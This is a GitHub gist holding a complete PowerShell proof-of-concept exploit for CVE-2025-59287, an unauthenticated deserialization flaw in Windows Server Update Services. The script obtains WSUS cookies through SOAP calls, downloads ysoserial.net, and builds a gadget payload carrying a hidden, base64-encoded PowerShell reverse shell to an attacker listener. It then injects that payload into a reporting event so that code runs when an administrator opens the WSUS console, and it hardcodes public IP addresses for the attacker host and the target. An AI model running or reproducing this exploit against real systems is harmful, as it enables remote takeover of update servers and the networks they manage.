Skip to content

Instantly share code, notes, and snippets.

@bobby-tablez
Last active November 3, 2025 17:23
Show Gist options
  • Select an option

  • Save bobby-tablez/20fcaa32ec4bcec0c7c6a5bc2b12f371 to your computer and use it in GitHub Desktop.

Select an option

Save bobby-tablez/20fcaa32ec4bcec0c7c6a5bc2b12f371 to your computer and use it in GitHub Desktop.
WSUS-POC for CVE-2025-59287
# Disable SSL certificate validation for lab environment
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
# ORIGINAL CODE /CREDITS: https://hawktrace.com/blog/CVE-2025-59287-UNAUTH
function Get-AuthCookie {
param(
[string]$Target,
[string]$ServerId = $null
)
$url = "$Target/SimpleAuthWebService/SimpleAuth.asmx"
$headers = @{
'SOAPAction' = '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"'
'Content-Type' = 'text/xml'
}
if (-not $ServerId) {
$ServerId = [System.Guid]::NewGuid().ToString()
}
$soapBody = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
<clientId>$ServerId</clientId>
<targetGroupName></targetGroupName>
<dnsName>hawktrace.local</dnsName>
</GetAuthorizationCookie>
</soap:Body>
</soap:Envelope>
"@
try {
$response = Invoke-WebRequest -Uri $url -Method POST -Body $soapBody -Headers $headers -TimeoutSec 30
if ($response.StatusCode -eq 200) {
[xml]$xmlResponse = $response.Content
$cookieNode = $xmlResponse.SelectSingleNode("//*[local-name()='CookieData']")
if ($cookieNode -and $cookieNode.InnerText) {
Write-Host "[+] Using ID: $ServerId" -ForegroundColor Green
return $cookieNode.InnerText
}
}
}
catch {
Write-Host "[-] Auth cookie error: $($_.Exception.Message)" -ForegroundColor Red
}
return $null
}
function Get-ServerId {
param([string]$Target)
$url = "$Target/ReportingWebService/ReportingWebService.asmx"
$headers = @{
'SOAPAction' = '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"'
'Content-Type' = 'text/xml'
}
$soapBody = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
</GetRollupConfiguration>
</soap:Body>
</soap:Envelope>
"@
try {
$response = Invoke-WebRequest -Uri $url -Method POST -Body $soapBody -Headers $headers -TimeoutSec 30
if ($response.StatusCode -eq 200) {
[xml]$xmlResponse = $response.Content
$serverNode = $xmlResponse.SelectSingleNode("//*[local-name()='ServerId']")
if ($serverNode -and $serverNode.InnerText) {
Write-Host "[+] Server ID: $($serverNode.InnerText)" -ForegroundColor Green
return $serverNode.InnerText
}
}
}
catch {
Write-Host "[-] Server ID error: $($_.Exception.Message)" -ForegroundColor Red
}
$fallbackId = [System.Guid]::NewGuid().ToString()
Write-Host "[!] Using fallback ID: $fallbackId" -ForegroundColor Yellow
return $fallbackId
}
function Get-ReportingCookie {
param(
[string]$Target,
[string]$AuthCookie
)
$url = "$Target/ClientWebService/Client.asmx"
$headers = @{
'SOAPAction' = '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"'
'Content-Type' = 'text/xml'
}
$timeNow = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
$soapBody = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>$AuthCookie</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
<lastChange>$timeNow</lastChange>
<currentTime>$timeNow</currentTime>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>
"@
try {
$response = Invoke-WebRequest -Uri $url -Method POST -Body $soapBody -Headers $headers -TimeoutSec 30
if ($response.StatusCode -eq 200) {
[xml]$xmlResponse = $response.Content
$cookieData = @{}
$expirationNode = $xmlResponse.SelectSingleNode("//*[local-name()='Expiration']")
if ($expirationNode) {
$cookieData['expiration'] = $expirationNode.InnerText
}
$encryptedDataNode = $xmlResponse.SelectSingleNode("//*[local-name()='EncryptedData']")
if ($encryptedDataNode) {
$cookieData['encrypted_data'] = $encryptedDataNode.InnerText
return $cookieData
}
}
}
catch {
# Silently continue on error
}
return $null
}
function Send-MaliciousEvent {
param(
[string]$Target,
[hashtable]$Cookie,
[string]$Payload
)
$url = "$Target/ReportingWebService/ReportingWebService.asmx"
$targetSid = [System.Guid]::NewGuid().ToString()
$eventInstanceId = [System.Guid]::NewGuid().ToString()
$timeNow = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ss.fff")
# YSOSerial payload for calc.exe (base64 encoded)
$popCalc = '<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"><DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat><DataSet.DataSetName id="ref-3"></DataSet.DataSetName><DataSet.Namespace href="#ref-3"/><DataSet.Prefix href="#ref-3"/><DataSet.CaseSensitive>false</DataSet.CaseSensitive><DataSet.LocaleLCID>1033</DataSet.LocaleLCID><DataSet.EnforceConstraints>false</DataSet.EnforceConstraints><DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/><DataSet.Tables.Count>1</DataSet.Tables.Count><DataSet.Tables_0 href="#ref-4"/></a1:DataSet><SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">' + $payload + '</SOAP-ENC:Array></SOAP-ENV:Body></SOAP-ENV:Envelope>'
# XML escape the payload
$escapedPayload = [System.Security.SecurityElement]::Escape($popCalc)
$soapBody = @"
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie>
<Expiration>$($Cookie['expiration'])</Expiration>
<EncryptedData>$($Cookie['encrypted_data'])</EncryptedData>
</cookie>
<clientTime>$timeNow</clientTime>
<eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
<ReportingEvent>
<BasicData>
<TargetID>
<Sid>$targetSid</Sid>
</TargetID>
<SequenceNumber>0</SequenceNumber>
<TimeAtTarget>$timeNow</TimeAtTarget>
<EventInstanceID>$eventInstanceId</EventInstanceID>
<NamespaceID>2</NamespaceID>
<EventID>389</EventID>
<SourceID>301</SourceID>
<UpdateID>
<UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>
<RevisionNumber>0</RevisionNumber>
</UpdateID>
<Win32HResult>0</Win32HResult>
<AppName>LocalServer</AppName>
</BasicData>
<ExtendedData>
<MiscData soapenc:arrayType="xsd:string[2]">
<string>Administrator=SYSTEM</string>
<string>SynchronizationUpdateErrorsKey=$escapedPayload</string>
</MiscData>
</ExtendedData>
<PrivateData>
<ComputerDnsName></ComputerDnsName>
<UserAccountName></UserAccountName>
</PrivateData>
</ReportingEvent>
</eventBatch>
</ReportEventBatch>
</soap:Body>
</soap:Envelope>
"@
$targetHost = $Target -replace '^https?://', ''
$headers = @{
'Content-Type' = 'text/xml'
'Accept' = 'text/xml'
'User-Agent' = 'Windows-Update-Agent'
'SOAPAction' = '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"'
}
try {
$response = Invoke-WebRequest -Uri $url -Method POST -Body $soapBody -Headers $headers -TimeoutSec 30
if ($response.StatusCode -eq 200 -and $response.Content -like "*true*") {
return @{
Success = $true
EventId = $eventInstanceId
TargetSid = $targetSid
}
}
else {
return @{ Success = $false }
}
}
catch {
Write-Host "[DEBUG] Exception: $($_.Exception.Message)" -ForegroundColor Red
return @{ Success = $false }
}
}
# Function to download and setup ysoserial.net
function Get-YsoSerial {
$ysoPath = ".\ysoserial\Release\ysoserial.exe"
$ysoDir = ".\ysoserial"
$downloadUrl = "https://github.com/pwntester/ysoserial.net/releases/download/v1.36/ysoserial-1dba9c4416ba6e79b6b262b758fa75e2ee9008e9.zip"
$zipFile = "ysoserial.zip"
# Check if ysoserial already exists
if (Test-Path $ysoPath) {
Write-Host "[+] YsoSerial found at $ysoPath" -ForegroundColor Green
return $ysoPath
}
Write-Host "[!] YsoSerial not found, downloading..." -ForegroundColor Yellow
try {
# Create directory if it doesn't exist
if (-not (Test-Path $ysoDir)) {
New-Item -ItemType Directory -Path $ysoDir -Force | Out-Null
}
# Download the zip file
Write-Host "[+] Downloading from GitHub releases..." -ForegroundColor Green
Invoke-WebRequest -Uri $downloadUrl -OutFile $zipFile -UseBasicParsing
# Extract the zip file
Write-Host "[+] Extracting ysoserial..." -ForegroundColor Green
Expand-Archive -Path $zipFile -DestinationPath $ysoDir -Force
# Clean up zip file
Remove-Item $zipFile -Force
# Verify extraction
if (Test-Path $ysoPath) {
Write-Host "[+] YsoSerial successfully downloaded and extracted" -ForegroundColor Green
return $ysoPath
} else {
throw "YsoSerial executable not found after extraction"
}
}
catch {
Write-Host "[-] Failed to download/extract ysoserial: $($_.Exception.Message)" -ForegroundColor Red
Write-Host "[!] Please manually download and extract ysoserial.net to .\ysoserial\" -ForegroundColor Yellow
exit 1
}
}
# Main execution
Write-Host @"
preparation:
- start netcat on kali -> nc -lvnp 4444
- edit the lhost and lport variables in the script
- edit targetURL in the script
- run
"@ -ForegroundColor Cyan
# parameters
$lhost = "54.150.23.151" # your kali netcat host
$lport = 4444
$targetURL = "http://54.64.93.149:8530" # WSUS URL
# powershell reverse shell
Write-Host "[+] Generating YSO Blob..." -ForegroundColor Green
$ps_payload = '$client = New-Object System.Net.Sockets.TCPClient(' + "'$lhost'" + ',' + $lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ' + "'PS '" + ' + (pwd).Path + ' + "'> '" + ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$ps_encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($ps_payload))
# use ysoserial to generate base64 blob
Write-Host "[+] Setting up YsoSerial.net..." -ForegroundColor Green
$ysoPath = Get-YsoSerial
Write-Host "[+] Generating malicious payload..." -ForegroundColor Green
try {
$output = & $ysoPath -g RolePrincipal -f BinaryFormatter -c "powershell.exe -NoP -NonI -W Hidden -Enc $ps_encoded" -o base64
if ($LASTEXITCODE -ne 0 -or -not $output) {
throw "YsoSerial execution failed"
}
Write-Host "[+] Generated YSO blob successfully" -ForegroundColor Green
Write-Host "Payload length: $($output.Length) characters" -ForegroundColor Cyan
}
catch {
Write-Host "[-] Failed to generate payload: $($_.Exception.Message)" -ForegroundColor Red
exit 1
}
#Write-Host "Generated YSO blob: "
#Write-Host $output
Write-Host ""
Write-Host "[+] Getting Server ID..." -ForegroundColor Green
$serverId = Get-ServerId -Target $TargetUrl
Write-Host "[+] Auth cookie with Server ID..." -ForegroundColor Green
$authCookie = Get-AuthCookie -Target $TargetUrl -ServerId $serverId
if (-not $authCookie) {
Write-Host "[-] Failed to get auth cookie" -ForegroundColor Red
exit 1
}
$cookie = Get-ReportingCookie -Target $TargetUrl -AuthCookie $authCookie
if (-not $cookie) {
Write-Host "[-] Failed to get reporting cookie" -ForegroundColor Red
exit 1
}
Write-Host "[+] Sending event with payload..." -ForegroundColor Green
$result = Send-MaliciousEvent -Target $TargetUrl -Cookie $cookie -Payload $output
if ($result.Success) {
Write-Host "[+] SUCCESS!" -ForegroundColor Green
Write-Host "[!] RCE will trigger when you open the WSUS console!" -ForegroundColor Yellow
Write-Host "[!] to cleanup remove the hawktrace.local computer from WSUS" -ForegroundColor Yellow
}
else {
Write-Host "[-] Failed to send malicious event" -ForegroundColor Red
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment